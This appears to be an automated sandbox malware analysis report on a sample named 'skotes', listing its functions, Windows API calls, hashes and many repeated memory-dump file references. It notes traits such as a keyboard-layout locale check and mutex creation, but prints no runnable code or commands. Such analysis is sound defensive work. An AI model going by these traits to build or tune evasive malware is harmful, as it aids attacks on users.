Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 32a4e815f7c92e8284221984e79280006f8bebf05c36948adeb50fe6ef95ab06
Instruction ID: 36ee06b77ce4b913042f835cbdae7bbcd1fd5c81be111c31cf3e9470b4a4d95e
Opcode Fuzzy Hash: 32a4e815f7c92e8284221984e79280006f8bebf05c36948adeb50fe6ef95ab06
Instruction Fuzzy Hash: 81B1C0719002689BEB24DB64CD84BDEB7B9AF05340F5402D9E108E72D2DB74AFA8CF54

Function 00AE1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AE1775: CreateFileW.KERNEL32(00000000,00000000,?,00AE1B65,?,?,00000000,?,00AE1B65,00000000,0000000C), ref: 00AE1792

__dosmaperr.LIBCMT ref: 00AE1BD7
GetFileType.KERNEL32(00000000), ref: 00AE1BE3
__dosmaperr.LIBCMT ref: 00AE1BF6
__dosmaperr.LIBCMT ref: 00AE1D9C

Strings

H, xrefs: 00AE1D21

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: e9ff80e2f2649a742d8eb72a82e2108a2a2bed73fdea5e14d3fda22689a58f98
Instruction ID: 94b8fb7965f6375068a2f0327f5d364702e676b1167a249fb4bb312756fc6817
Opcode Fuzzy Hash: e9ff80e2f2649a742d8eb72a82e2108a2a2bed73fdea5e14d3fda22689a58f98
Instruction Fuzzy Hash: 51A13932A041988FCF199F68DD91BAE3BB1AB46324F240159F812EF3D1EB359D12C751

Function 00AA7590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,61AD01A7,?,00000000,00AE9138,000000FF), ref: 00AA75CC
CreateThread.KERNEL32(00000000,00000000,00AA7430,00B08638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00AA76BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00AA76C9

Part of subcall function 00ABD0C7: RtlWakeAllConditionVariable.NTDLL ref: 00ABD17B

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: dbf4de008ef21e231eab3f9c7ecd338241db0309c9d76837dbded3dc6f0491ad
Instruction ID: d70a69a741716f0541e3deca77ad932c86c0482fe3ee9b63bf2db69b1e2e581a
Opcode Fuzzy Hash: dbf4de008ef21e231eab3f9c7ecd338241db0309c9d76837dbded3dc6f0491ad
Instruction Fuzzy Hash: BD51FD70210244AFEB08DF28DD85B8E3BA5EB55304F504629F845873E2DF7A9680CB91

Function 00AD6FB4 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00AD6EE6), ref: 00AD6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00AD7030
__dosmaperr.LIBCMT ref: 00AD70C5

Part of subcall function 00AD732A: __dosmaperr.LIBCMT ref: 00AD735F

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 2b6dced63179d645c770ee9871e6a31a1ce4a3ace2f220751ef77eebb86eff83
Instruction ID: 20cc4d53561c8eb08f0f6b54b6ed332be4f0a50a19e42318c4782087e9661b1a
Opcode Fuzzy Hash: 2b6dced63179d645c770ee9871e6a31a1ce4a3ace2f220751ef77eebb86eff83
Instruction Fuzzy Hash: 6B413A71904244ABDB28EFB5DD459AFBBF9EF89300B10452EF956D3750FA309900DB61

Function 00AA9BA5 Relevance: 4.6, APIs: 3, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00AA9BA8
Sleep.KERNEL32(00000064,?), ref: 00AAA963
CreateMutexA.KERNEL32(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: cd878a80368c4ed5ca50dc72b8f793ce66f803cfa3157caddafe1c1f09b79dea
Instruction ID: 7add56dd563865da6a6fa01cc6e74eb0ea9d8b8734a1d0afea2398fffe0219be
Opcode Fuzzy Hash: cd878a80368c4ed5ca50dc72b8f793ce66f803cfa3157caddafe1c1f09b79dea
Instruction Fuzzy Hash: C43157317042049BEB08EB78DD897AFBBB6EF97324F248218E014973D6D7769980C761

Function 00AA9CDA Relevance: 4.6, APIs: 3, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00AA9CDD
Sleep.KERNEL32(00000064,?), ref: 00AAA963
CreateMutexA.KERNEL32(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
